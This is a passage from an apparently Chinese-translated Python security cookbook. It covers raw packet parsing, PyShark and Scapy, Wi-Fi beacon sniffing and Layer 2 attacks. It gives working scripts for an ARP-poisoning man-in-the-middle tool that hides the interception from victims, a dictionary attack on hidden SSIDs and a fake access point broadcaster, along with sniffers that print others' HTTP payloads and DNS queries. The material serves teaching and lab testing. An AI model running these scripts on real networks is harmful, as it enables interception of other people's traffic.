flag_ack = (offset_reserved_flags & 16) >> 4
flag_psh = (offset_reserved_flags & 8) >> 3
flag_rst = (offset_reserved_flags & 4) >> 2
flag_syn = (offset_reserved_flags & 2) >> 1
flag_fin = offset_reserved_flags & 1
data = raw_data[offset:]
return src_port, dest_port, sequence, acknowledgment, flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin, data
TCP 数据包根据 TCP 数据包头的结构进行解包:
- 现在我们可以更新
main()
以打印 TCP 头部的详细信息。在ipv4
部分内添加以下行:
if ipv4[4] == 6:
tcp = tcp_head(ipv4[7])
print(TAB_1 + 'TCP Segment:')
print(TAB_2 + 'Source Port: {}, Destination Port: {}'.format(tcp[0], tcp[1]))
print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format(tcp[2], tcp[3]))
print(TAB_2 + 'Flags:')
print(TAB_3 + 'URG: {}, ACK: {}, PSH:{}'.format(tcp[4], tcp[5], tcp[6]))
print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format(tcp[7], tcp[8], tcp[9]))
if len(tcp[10]) > 0:
# HTTP
if tcp[0] == 80 or tcp[1] == 80:
print(TAB_2 + 'HTTP Data:')
try:
http = HTTP(tcp[10])
http_info = str(http[10]).split('\n')
for line in http_info:
print(DATA_TAB_3 + str(line))
except:
print(format_multi_line(DATA_TAB_3, tcp[10]))
else:
print(TAB_2 + 'TCP Data:')
print(format_multi_line(DATA_TAB_3, tcp[10]))
- 类似地,更新函数以解包 UDP 和 ICMP 数据包。
数据包根据数据包头结构进行解包。以下是 ICMP 的数据包头结构:
根据图表,我们可以使用以下代码解包数据包:
elif ipv4[4] == 1:
icmp = icmp_head(ipv4[7])
print('\t -' + 'ICMP Packet:')
print('\t\t -' + 'Type: {}, Code: {}, Checksum:{},'.format(icmp[0], icmp[1], icmp[2]))
print('\t\t -' + 'ICMP Data:')
print(format_multi_line('\t\t\t', icmp[3]))
以下是 UDP 的数据包头结构:
就像我们对 ICMP 所做的那样,我们可以按照以下方式解包 UDP 数据包头:
elif ipv4[4] == 17:
udp = udp_head(ipv4[7])
print('\t -' + 'UDP Segment:')
print('\t\t -' + 'Source Port: {}, Destination Port: {}, Length: {}'.format(udp[0], udp[1], udp[2]))
现在保存并以所需权限运行脚本:
sudo python3 basic-parse-packet-linux.py
输出将打印所有被嗅探到的数据包。因此,它会一直打印,直到我们用键盘中断停止。输出如下:
PyShark
PyShark 是 Wireshark CLI(TShark)的包装器,因此我们可以在 PyShark 中拥有所有 Wireshark 解码器。我们可以使用 PyShark 来嗅探接口,或者分析pcap
文件。
准备就绪
在使用此模块时,请确保在系统上安装 Wireshark 并使用pip
命令安装pyshark
:
pip3 install pyshark
还要确保在计算机上安装了 TShark。TShark 是基于终端的 Wireshark,PyShark 用于数据包捕获功能。
在这里了解更多关于 TShark 的信息:www.wireshark.org/docs/wsug_html_chunked/AppToolstshark.html
如何做...
让我们尝试一些 PyShark 的例子。确保在系统中安装了 TShark。
-
为了更好地理解,我们可以使用 Python 交互式终端并查看 PyShark 的功能。请注意,这些命令也可以包含在脚本中。唯一的依赖是 TShark。
-
导入
pyshark
模块:
>>> import pyshark
- 现在将
pcap
文件加载到pyshark
中:
>>> cap = pyshark.FileCapture('sample.pcap')
我们可以使用以下命令从实时接口进行嗅探:
>>> cap = pyshark.LiveCapture(interface='wlp3s0b1')
>>> cap.sniff(timeout=3)
这将嗅探接口的下一个 3 秒
- 现在您可以从
cap
变量中获取数据包的详细信息。
要打印出第一个数据包的详细信息,我们可以使用以下命令:
>>> print(cap[0])
输出如下:
您可以使用dir()
查看所有可能的选项:
>>> print(dir(cap[0]))
为了以漂亮的格式查看它们,我们可以使用pprint
模块:
>>> import pprint
>>> pprint.pprint(dir(cap[0]))
这将打印 PyShark 中数据包的所有可能选项。输出如下:
- 您可以按如下方式迭代每个数据包:
for pkt in cap: print(pkt.highest_layer)
- 我们可以按如下方式获取经过筛选的数据包流到
pyshark
:
cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80')
cap.sniff(timeout=5)
这将过滤数据包,除了 TCP/IP 到端口80
第八章:Scapy 基础知识
在本章中,我们将介绍以下配方:
-
使用 Scapy 创建数据包
-
使用 Scapy 发送和接收数据包
-
分层数据包
-
读取和写入 PCAP 文件
-
嗅探数据包
-
使用 Scapy 创建 ARP 中间人工具
介绍
Scapy 是一个强大的 Python 模块,用于数据包操作。它可以解码和创建各种协议的数据包。Scapy 可用于扫描、探测和网络发现任务。
使用 Scapy 创建数据包
我们知道,网络通信的基本单元是数据包。因此,我们可以通过使用 Scapy 创建数据包来开始。Scapy 以层的形式创建数据包;每个层都嵌套在其父层内。
准备工作
由于我们需要在环境中安装 Scapy 模块,请确保使用pip
命令安装它:
pip install scapy
安装后,请确保通过在终端中发出scapy
命令来检查它是否正常工作:
scapy
Welcome to Scapy (3.0.0)
>>>
这将打开一个交互式的 Scapy 终端。您还可以使用它来对 Scapy 脚本进行基本调试。Scapy 支持的所有协议的列表如下:
>>> ls()
类似地,我们可以按以下方式获取每个协议中的详细信息和参数:
>>> ls(UDP)
如何做...
以下是使用scapy
模块创建数据包的步骤:
-
创建一个名为
scapy-packet.py
的新文件,并在编辑器中打开它。 -
像往常一样,导入
scapy
模块和pprint
以获得更好的可读性打印:
from scapy.all import *
from pprint import pprint
- 通过定义 TCP/IP 每个协议层的数据包头并按正确顺序堆叠它们来制作数据包。因此,我们可以通过以下方式创建 TCP 数据包的第一层:
ethernet = Ether()
- 然后我们可以创建数据包的 IP 层,如下所示:
network = IP(dst='192.168.1.1/30')
由于这是网络层,我们必须将目的地 IP 作为参数传递。Scapy 接受不同的 IP 表示法,如下所示:
-
- 普通的点分十进制表示法:
network = IP(dst='192.168.1.1')
-
- CIDR 表示法:
network = IP(dst='192.168.1.1/30')
-
- 主机名:
network = IP(dst = 'rejahrehim.com')
此外,我们可以通过将目的地作为列表传递来设置多个目的地:
network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.12'])
- 类似地,我们可以创建传输层。在我们的情况下,它是一个 TCP 层。我们可以按以下方式创建它:
transport = TCP(dport=53, flags = 'S')
在这里,我们传递目的地端口,并将标志设置为S
以进行 SYN 数据包。我们还可以将目的地端口作为列表传递以创建多个数据包:
transport = TCP(dport=[(53, 100)], flags = 'S')
- 接下来,我们可以使用
/
运算符堆叠这些层:
packet = ethernet/network/transport
- 现在我们可以通过使用
pprint
打印它们来检查生成的数据包:
pprint([pkt for pkt in packet])
我们还可以使用ls()
来检查数据包:
for pkt in packet:
ls(pkt)
获取数据包详细信息的另一个选项是数据包中的show()
方法:
for pkt in packet:
pkt.show()
现在我们可以使用脚本创建一个单个数据包。脚本如下:
from scapy.all import *
from pprint import pprint
ethernet = Ether()
network = IP(dst = ['rejahrehim.com'])
transport = TCP(dport=[(80)], flags = 'S')
packet = ethernet/network/transport
for pkt in packet:
pkt.show()
这将创建一个带有 SYN 标志的 TCP/IP 数据包,目的地地址为rejahrehim.com/
,目的地端口为80
。
- 现在以
sudo
权限运行脚本:
sudo python3 scapy-packet.py
输出将如下所示:
在这里,我们可以看到scapy
将源 IP 识别为本地 IP,并自动将这些详细信息添加到数据包中。
- 正如您可能已经注意到的那样,响应的第一行是一个警告消息,说
未找到 IPV6 目标的路由
。我们可以通过使用logger
模块来避免这些不太重要的消息。为此,在导入 Scapy 之前,导入并将日志级别设置为ERROR
(仅打印错误消息)。可以通过在脚本顶部添加以下行来实现这一步骤。这一步骤适用于所有使用scapy
模块的配方:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
使用 Scapy 发送和接收数据包
我们已经在上一篇文章中创建了一些数据包。现在我们可以使用 Scapy 发送和接收这些数据包。
如何做...
以下是使用scapy
模块发送和接收数据包的方法:
- 确保导入所需的模块:
from scapy.all import *
from pprint import pprint
- 我们可以使用
send()
函数在第 3 层发送数据包。在这种情况下,Scapy 将处理其内部的路由和第 2 层:
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = network/transport
send(IP(packet)
这将发送一个 ICMP 数据包
- 要发送带有自定义第 2 层的数据包,我们必须使用
sendp()
方法。在这里,我们必须传递要用于发送数据包的接口。我们可以使用iface
参数提供它。如果未提供此参数,它将使用conf.iface
的默认值:
ethernet = Ether()
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = ethernet/network/transport
sendp(packet, iface="en0")
- 要发送一个数据包并接收响应,我们必须使用
sr()
方法:
ethernet = Ether()
network = IP(dst = 'rejahrehim.com')
transport = TCP(dport=80)
packet = ethernet/network/transport
sr(packet, iface="en0")
- 我们可以使用
sr1()
方法发送一个数据包或一组数据包,并且只记录第一个响应:
sr1(packet, iface="en0")
- 同样,我们可以使用
srloop()
来循环发送刺激数据包的过程,接收响应并打印它们。
srloop(packet)
分层数据包
在 Scapy 中,每个数据包都是嵌套字典的集合,因为 Scapy 使用 Python 字典作为数据包的数据结构。从最底层开始,每个层都将是父层的子字典。此外,数据包中每个层的每个字段都是该层字典中的键值对。因此,我们可以使用赋值操作更改此字段。
如何做...
要了解 Scapy 中的分层,可以按照以下步骤进行:
- 我们可以使用
show()
方法获取数据包及其分层结构的详细信息。我们可以使用交互式终端检查和确定有关每个数据包结构的更多信息。打开终端并输入以下内容:
>>> scapy
接下来,创建一个数据包并显示其详细信息,如下所示:
>>> pkt = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)
>>> pkt.show()
然后它将打印出我们创建的数据包的结构:
即使我们不提供源地址,Scapy 也会自动分配源地址。
- 我们可以使用
summary()
方法获取数据包的摘要:
>>> pkt.summary()
- 我们可以通过列表索引或名称获取数据包的每个层:
>>> pkt[TCP].show()
>>> pkt[2].show()
两者都将打印 TCP 层的详细信息,如下所示:
- 同样,我们可以获取每个层内的每个字段。我们可以获取数据包的目标 IP 地址,如下所示:
>>> pkt[IP].dst
- 我们可以使用
haslayer()
方法测试特定层是否存在:
>>> if (pkt.haslayer(TCP)):
....print ("TCP flags code: " + str(pkt.getlayer(TCP).flags)
同样,可以使用getlayer()
方法获取特定层
- 我们可以使用 Scapy 的
sniff()
函数嗅探网络,并使用过滤参数从嗅探到的数据包中获取特定类型的数据包:
>>> pkts = sniff(filter="arp",count=10)
>>> print(pkts.summary())
读取和写入 pcap 文件
pcap 文件用于保存捕获的数据包以供以后使用。我们可以使用 Scapy 从 pcap 文件中读取数据包并将其写入 pcap 文件。
如何做...
我们可以编写一个脚本来使用 Scapy 读取和写入 pcap 文件,如下所示:
- 我们可以按照以下步骤将 pcap 文件导入到 Scapy 中:
from scapy.all import *
packets = rdpcap("sample.pcap")
packets.summary()
- 我们可以像处理创建的数据包一样迭代和处理数据包:
for packet in packets:
if packet.haslayer(UDP):
print(packet.summary())
- 我们还可以在导入过程中操纵数据包。如果我们想要更改捕获的 pcap 文件中数据包的目标和源 MAC 地址,我们可以在导入时进行,如下所示:
from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:
if packet.haslayer(TCP):
print(packet.show())
在这里,我们定义一个新函数changePacketParameters()
,用于迭代每个数据包,并在以太网层内更新其源和目标 MAC 地址。此外,我们将在sniff()
部分内调用该函数作为prn
。
- 我们可以使用
wrpcap()
函数将数据包导出到 pcap 文件:
wrpcap("editted.cap", packets)
- 我们还可以使用 Scapy 过滤要写入 pcap 文件的数据包:
from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'
def writeToPcapFile(pkt):
wrpcap('filteredPackets.pcap', pkt, append=True)
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:
if packet.haslayer(TCP):
writeToPcapFile(packet)
print(packet.show())
- 我们可以使用
sendp()
方法重放 pcap 文件中捕获的数据包:
sendp(packets)
我们可以使用一行代码在 Scapy 中读取和重放数据包:
sendp(rdpcap("sample.pcap"))
嗅探数据包
Scapy 有一个sniff()
函数,我们可以用它来从网络中获取数据包。但是 Scapy 内置的sniff()
函数速度有点慢,可能会跳过一些数据包。当嗅探速度很重要时,最好使用tcpdump
。
如何做...
以下是使用scapy
模块编写嗅探器的步骤:
-
创建一个名为
scapy-sniffer.py
的文件并用编辑器打开它。 -
像往常一样,为脚本导入所需的模块:
import sys
from scapy.all import *
- 然后,定义所需的变量。这里我们需要定义要嗅探的
interface
:
interface = "en0"
您可以使用 Linux 和 macOS 中的ifconfig
命令获取要使用的interface
:
- 现在我们可以编写一个函数来处理嗅探到的数据包,这将作为嗅探器的回调函数提供:
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " + str(packet.getlayer(DNS).qd.qname) + " )")
在这里,我们获取所有 DNS 数据包的源和目的地 IP,并提取这些 DNS 数据包的域
- 现在我们可以使用
sniff()
方法开始嗅探并将数据包传递给回调函数:
sniff(iface=interface, prn=callBackParser)
这将开始嗅探来自变量中指定的接口的数据包。
- 现在我们可以使用
sudo
权限启动脚本:
sudo python3 scapy-sniffer.py
输出将如下所示:
- 我们可以按如下方式打印嗅探到的数据包中的
payload
:
if TCP in packet:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
print(packet[TCP].payload)
except:
pass
使用 Scapy 进行 ARP 中间人工具
中间人攻击意味着攻击者坐在源和目的地之间,通过攻击系统传递所有数据。这将允许攻击者查看受害者的活动。我们可以借助 Scapy 编写一个小型的 Python 脚本来运行中间人攻击。
如何做...
为了更好地理解,我们可以编写一个脚本,按照以下步骤:
-
创建一个名为
mitm-scapy.py
的新文件,并在编辑器中打开它。 -
像往常一样,导入所需的模块:
from scapy.all import *
import os
import time
import sys
在这里,我们导入 Scapy 以及所需的os
、time
和sys
模块,这些模块在脚本中是必需的。
- 现在我们必须为脚本定义变量。我们可以使用 Python 2.x 中的
raw_input
方法或 Python 3.x 中的input()
来获取变量的详细信息,而不是在脚本中定义它:
interface = "en0"
source_ip = "192.168.1.1"
destination_ip = "192.168.1.33"
- 由于我们必须获取源和目的地的 MAC 地址以构建 ARP 响应,我们将使用 ARP 请求请求两者,并解析响应以获取 MAC 地址。现在我们必须创建一个函数来获取 MAC 地址:
def getMAC(IP, interface):
answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1)
for send,recieve in answerd:
return recieve.sprintf(r"%Ether.src%")
这将返回调用此函数时提供的 IP 的 MAC 地址
- 现在我们将创建一个函数来切换 IP 转发。这在 Linux 和 macOS 上是不同的:
- 对于 macOS:
def setIPForwarding(set):
if set:
#for OSX
os.system('sysctl -w net.inet.ip.forwarding=1')
else:
#for OSX
os.system('sysctl -w net.inet.ip.forwarding=0')
-
- 对于 Linux:
def setIPForwarding(set):
if set:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
else:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
- 现在我们必须编写另一个函数来重新建立受害者和源之间的连接。这是为了确保受害者不会发现拦截:
def resetARP(destination_ip, source_ip, interface):
destinationMAC = getMAC(destination_ip, interface)
sourceMAC = getMAC(source_ip, interface)
send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=destinationMAC, retry=7))
send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC, retry=7))
setIPForwarding(False)
在这个函数中,我们首先使用我们编写的getMAC()
函数获取源和目的地的 MAC 地址。然后,我们将发送请求到源,就好像是来自目的地。此外,我们将发送请求到目的地,就好像是来自源。最后,我们将使用我们编写的setIPForwarding()
函数重置 IP 转发
- 现在我们将进行实际攻击。为此,我们将编写一个函数:
def mitm(destination_ip, destinationMAC, source_ip, sourceMAC):
arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC)
arp_src_to_dest = ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC)
send(arp_dest_to_src)
send(arp_src_to_dest)
这将把数据包发送到源和目的地,指示我们的接口是源的目的地和目的地的源
- 接下来,我们必须设置一个回调函数来解析从接口嗅探到的数据包:
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
print("From : " + str(source_ip) + " to -> " + str(destination_ip))
- 现在我们将定义
main()
函数来调用攻击:
def main():
setIPForwarding(True)
try:
destinationMAC = getMAC(destination_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
try:
sourceMAC = getMAC(source_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
while True:
try:
mitm(destination_ip, destinationMAC, source_ip, sourceMAC)
sniff(iface=interface, prn=callBackParser,count=10)
except KeyboardInterrupt:
resetARP(destination_ip, source_ip, interface)
break
sys.exit(1)
main()
这将创建一个无限循环来设置攻击并嗅探数据包。
第九章:Wi-Fi 嗅探
在本章中,我们将涵盖以下内容:
-
寻找 Wi-Fi 设备
-
寻找 SSID
-
揭露隐藏的 SSID
-
对隐藏 SSID 进行字典攻击
-
使用 Scapy 创建虚假访问点
介绍
我们已经学会了在 Python 中使用 Scapy 模块。现在我们可以利用 Scapy 模块来嗅探访问点及其 MAC 地址。在此之前,了解 SSID 的概念将会很有用。服务集标识符(SSID)是无线网络的名称,有助于区分同一网络中的多个信号。我们可以使用 SSID 来识别和连接到网络。
寻找 Wi-Fi 设备
加入 Wi-Fi 网络的过程很简单。设备可以监听其他设备以识别它们。这些标识符会持续广播,并被称为信标。这些类型的唯一信标由充当访问点的设备广播。这些信标包括作为该访问点名称的 SSID。每个 SSID 都会广播自己独特的信标帧,以通知任何监听设备该 SSID 可用并具有特定功能。我们可以通过监听这些访问点广播的信标来嗅探 Wi-Fi 接口中的数据包,以获取该区域内可用的 Wi-Fi 设备。在这里,我们使用 Scapy 来分析接口捕获的数据包,以提取信标。
准备工作
由于我们需要从接口中嗅探数据包,因此我们需要一张能够以监视模式嗅探 Wi-Fi 信号的 Wi-Fi 卡。因此,我们必须确保该卡具备嗅探功能。然后,我们必须将接口设置为监视模式,这对不同的操作系统有不同的设置。由于 Scapy 在 Windows 系统中存在一些限制,因此我们必须在 Linux 或 macOS 环境中运行此操作。
在开始编码之前,我们必须了解 Wi-Fi 数据包。与其他数据包一样,Wi-Fi 数据包也有一定的结构。根据规范 802.11,每个访问点的信标帧包含有关特定 SSID 的大量信息。
以下是 802.11 mgmt 信标帧的帧格式:
通过这个,我们可以了解信标帧的内容。信标帧中真正重要的项目如下:
- SSID 名称: 这是 WLAN 网络的 1-32 个字符的名称,并且在所有信标中都存在。Wireshark 捕获将显示 SSID 标签如下:
- BSSID: 这是 SSID 的唯一的第 2 层 MAC 地址。在 Wireshark 捕获中如下所示:
-
时间戳: 这代表访问点上的时间。
-
安全功能: 此项目指的是访问点的安全功能,如开放、WEP、WPA、WPA2、个人(密码)与企业(带有 RADIUS 服务器的 802.1x)。在 Wireshark 捕获中如下所示:
- 频道: 这表示此 AP 上的 SSID 操作的特定频率。在 Wireshark 捕获中如下所示:
-
频道宽度: 这表示频道的宽度,如 20、40、80 和 160 mbps。
-
国家: 这提供了所有支持的频道和相应的频道设置列表。每个国家都有自己的监管机构,决定其监管领域内允许的频道或功率级别。此标签定义了操作国家、允许的频道和允许的最大传输限制。
-
信标间隔: 这表示 AP 广播此信标帧的频率。在 Wireshark 捕获中如下所示:
如何做...
在网络接口中启用监视模式。这对不同的操作系统有不同的设置。而且,并非所有的网络卡都支持监视模式。我们必须使用终端命令来执行此操作,因为无法通过 Python 脚本实现。这将把网络卡接口设置为 wlan0 并进入监视模式。
Linux
按照以下步骤在 Linux 环境中启用监视模式:
- 这可以通过
airmon-ng
包完成。请确保您安装了airmon-ng
包。还要确保您提供正确的接口作为参数:
airmon-ng start wlan0
- 也可以使用以下网络命令完成:
ifconfig wlan0 down
iw dev wlan0 set type monitor
ifconfig wlan0 up
- 要禁用监视模式,我们可以使用以下命令:
ifconfig wlan0 down
iw dev wlan1 set type managed
ifconfig wlan0 up
macOS
按照以下步骤在 macOS 环境中启用监视模式:
- 我们可以使用
airport
实用程序命令在 macOS 中启用监视模式。由于这是库中的二进制命令,我们可以将其symlink
到usr/local/bin/
:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
现在我们可以使用airport
选择要嗅探的信道:
airport en0 channel 7
然后我们可以使用以下命令开始嗅探:
sudo airport en0 sniff
这将sniff
接口en0
并将其保存到tmp/
文件夹中的 pcap 文件中,例如:/tmp/airportSniffXXXXXX.pcap.
我们可以使用 Scapy 分析此文件。
-
现在创建一个
wifi-sniff.py
文件并在编辑器中打开它。 -
像往常一样,加载所需的模块:
from scapy.all import *
- 现在我们可以定义所需的变量。在这里,我们将为接入点创建一个列表:
access_points = []
- 现在我们可以定义回调函数来解析数据包:
def parsePacket(pkt):
if pkt.haslayer(Dot11):
print(pkt.show())
这将打印捕获的 Wi-Fi 数据包。输出如下:
对于 802.11 数据包层,主要变量是:
-
type=0
:这表示帧是管理帧(类型 0)
-
subtype=8
:这表示管理帧的子类型是信标(类型 8) -
addr1
:目标 MAC 地址 -
addr2
:发送者的源 MAC 地址 -
addr3
:接入点的 MAC 地址
- 从前面的细节中,我们可以更新解析器函数以获取 Wi-Fi MAC 地址:
def parsePacket(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in ap_list:
print(pkt.addr2)
- 现在调用
sniff
函数并将数据包传递给callback
函数:
sniff(iface='en0', prn=parsePacket, count=10, timeout=3, store=0)
- 保存脚本并以
sudo
权限调用:
$ sudo python3 Wi-Fi-sniff.py
查找 SSID
要获取 SSID,我们需要更新先前的方法并从数据包中解析 SSID。
如何做...
以下是使用scapy
模块编写 SSID 嗅探器脚本的步骤:
-
创建一个
sniff-ssid.py
文件并在编辑器中打开它。 -
导入所需的模块:
from scapy.all import *
- 现在创建一个函数来从数据包中解析 SSID:
def parseSSID(pkt):
if pkt.haslayer(Dot11):
print(pkt.show())
if pkt.type == 0 and pkt.subtype == 8:
ap_list.append(pkt.addr2)
print("SSID:" + pkt.info)
- 现在运行
sniff
并在回调上调用解析函数。
sniff(iface='en0', prn=ssid, count=10, timeout=3, store=0)
- 现在以
sudo
权限运行此脚本:
$ sudo python3 sniff-ssid.py
暴露隐藏的 SSID
我们可以修改先前的方法以获取隐藏的 SSID。使用 Scapy,我们可以识别探测响应和请求以提取隐藏的 SSID。
如何做...
按照以下步骤编写一个暴露隐藏 SSID 的脚本:
-
创建一个
sniff-hidden-ssid.py
文件并在编辑器中打开它。 -
导入
scapy
模块并为识别的 SSID 创建一个字典:
from scapy.all import *
hiddenSSIDs = dict()
- 现在创建一个函数来从数据包中解析隐藏的 SSID:
def parseSSID(pkt):
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
if not hiddenSSIDs.has_key(pkt[Dot11].addr3):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
channel = int( ord(pkt[Dot11Elt:3].info))
capability = pkt.sprintf("{Dot11Beacon%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
if re.search("privacy", capability):
encrypted = 'Y'
else:
encrypted = 'N'
hiddenSSIDs[pkt[Dot11].addr3] =[encrypted, ssid, bssid, channel]
print (hiddenSSIDs)
在这里,它检查探测响应和请求以提取 BSSID 和 SSID
- 最后,
sniff
数据包并将其传递给callback
函数。
sniff(iface='wlan0', prn=parseSSID, count=10, timeout=3, store=0)
- 现在以 root 权限运行此脚本:
sudo sniff-hidden-ssid.py
隐藏 SSID 的字典攻击
对于隐藏的 SSID,我们可以运行字典攻击来识别隐藏的 SSID。为此,我们将遍历 SSID 列表并发送带有特定 SSID 的广播数据包。如果 SSID 存在,接入点将以数据包响应。因此,我们可以在先前的方法中启动 SSID 嗅探器,并在运行 SSID 的暴力攻击时等待来自接入点的响应。
如何做...
以下是编写可用于对 SSID 运行字典攻击的脚本的步骤:
-
像往常一样,创建一个新的
dictionary-attack-ssid.py
文件并在编辑器中打开它。 -
加载所有必需的模块,并初始化变量:
from scapy.all import *
senderMac = "aa:aa:aa:aa:aa:aa"
broadcastMac = "ff:ff:ff:ff:ff:ff"
- 然后,我们遍历列表中的 SSID 并发送带有设置为参数的
RadioTap()
数据包:
for ssid in open('ssidList.txt', 'r').readlines():
pkt = RadioTap()/Dot11(type = 0, subtype = 4 ,addr1 = broadcastMac, addr2 = senderMac, addr3 = broadcastMac)/Dot11ProbeReq()/Dot11Elt(ID=0, info =ssid.strip()) / Dot11Elt(ID=1, info = "\x02\x04\x0b\x16") / Dot11Elt(ID=3, info="\x08")
print ("Checking ssid:" + ssid)
print(pkt.show())
sendp (pkt, iface ="en0", count=1)
-
现在在一个终端窗口中启动嗅探器脚本并等待响应。
-
最后,以
sudo
权限启动字典攻击脚本:
sudo python3 dictionary-attack-ssid.py
使用 Scapy 创建虚假接入点
我们可以通过使用 Scapy 注入信标帧来创建虚假的 Wi-Fi 接入点。
如何做...
让我们尝试用以下步骤创建一个假的 SSID:
-
创建一个新的
fake-access-point.py
文件并在编辑器中打开它。 -
加载脚本所需的模块:
from scapy.all import *
import random
在这里,我们使用scapy
和random
模块来创建随机的 MAC ID
- 然后定义接入点名称和要广播的接口:
ssid = "fakeap"
iface = "en0"
- 现在我们可以用
beacon
帧来制作数据包:
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()), addr3=str(RandMAC()))
dot11beacon = Dot11Beacon(cap='ESS+privacy')
dot11essid = Dot11Elt(ID='SSID',info=ssid, len=len(ssid))
rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00' #For RSN Version 1
'\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04' #AES Cipher
'\x00\x0f\xac\x02' #TKIP Cipher
'\x01\x00' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02' #Pre-Shared Key
'\x00\x00')) #RSN Capabilities (no extra capabilities)
frame = RadioTap()/dot11/dot11beacon/dot11essid/rsn
- 现在我们可以用
sendp()
方法广播接入点:
sendp(frame, iface=iface, inter=0.0100 if len(frames)<10 else 0, loop=1)
- 现在以所需的权限运行脚本:
sudo python3 fake-access-point.py
这将广播一个带有提供的 SSID 的接入点
第十章:第 2 层攻击
在本章中,我们将介绍以下内容:
-
ARP 监视器
-
ARP 缓存中毒
-
MAC 洪泛
-
VLAN 跳跃
-
通过 VLAN 跳跃进行 ARP 欺骗
-
DHCP 饥饿
介绍
第 2 层是数据链路层,负责在具有 MAC 地址的以太网中寻址数据包。第 2 层用于在广域网中的相邻网络节点之间或在同一局域网上的节点之间传输数据。在本章中,我们将介绍 TCP/IP 第二层的一些常见攻击。
ARP 监视器
通过地址解析协议(ARP),我们可以找到活动的内部主机。我们可以编写一个使用 Scapy 扫描给定网络中主机的脚本。
如何做...
我们可以按照以下步骤编写 ARP 监视器:
-
创建一个
arp-scanner.py
文件并在编辑器中打开它。 -
然后我们必须导入所需的模块:
from scapy.all import *
- 现在为脚本声明变量:
interface = "en0"
ip_rage = "192.168.1.1/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
-
现在我们可以向 IP 范围内的所有 IP 发送 ARP 数据包,并获取已回答和未回答的数据包。
-
创建 ARP 数据包如下:
pkt = Ether(dst=broadcastMac)/ARP(pdst = ip_rage)
数据包的结构将如下所示:
- 然后,使用
srp()
发送数据包并接收响应:
answered, unanswered = srp(pkt, timeout =2, iface=interface, inter=0.1)
- 接下来,遍历所有已回答的数据包并打印它们的 MAC 和 IP 地址:
for send,recive in ans:
print (recive.sprintf(r"%Ether.src% - %ARP.psrc%"))
- 现在,以所需的权限运行脚本:
sudo python3 arp-scanner.py
这将打印出所提供的网络范围内所有活动系统的 MAC 和 IP。输出将如下所示:
-
现在我们可以将其转换为 ARP 监视器,具有监视网络变化的能力。为此,创建另一个
arp-monitor.py
文件并导入scapy
模块。 -
然后,创建一个函数来解析数据包并嗅探接口:
def parsePacket(pkt):
if ARP in pkt and pkt[ARP].op in (1,2):
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
- 现在开始嗅探并调用
parsePacket()
方法来解析 ARP 数据包:
sniff(prn=parsePacket, filter="arp", store=0)
- 以所需的权限运行脚本以开始监视:
sudo python3 arp-monitor.py
ARP 缓存中毒
正如我们所知,TCP/IP 局域网上的系统通过其网络适配器的 MAC 地址识别和相互通信。每个系统都会保留一份系统和其 MAC 地址的列表以供参考,称为 ARP 缓存。如果可能的话,我们需要欺骗一台机器的缓存,使其用错误的 MAC 地址替换另一台机器的 MAC 地址。从机器发送到具有伪造 MAC 地址的机器的所有通信将被定向到连接的机器。因此,ARP 缓存中毒是一种欺骗机器在其 ARP 表中保存有关 IP 地址的错误数据的方法。
准备工作
由于我们正在执行一种中间人攻击(从连接到同一网络的另一台设备获取数据),我们必须打开 IP 转发以确保受害者机器上的连接不受影响或中断。为了执行 IP 转发,我们在 Linux 和 macOS 上有不同的方法。
Linux
我们可以通过检查以下文件中的内容来检查 IP 转发的状态:
cat /proc/sys/net/ipv4/ip_forward
如果输出是1
,则 IP 转发已启用;如果是0
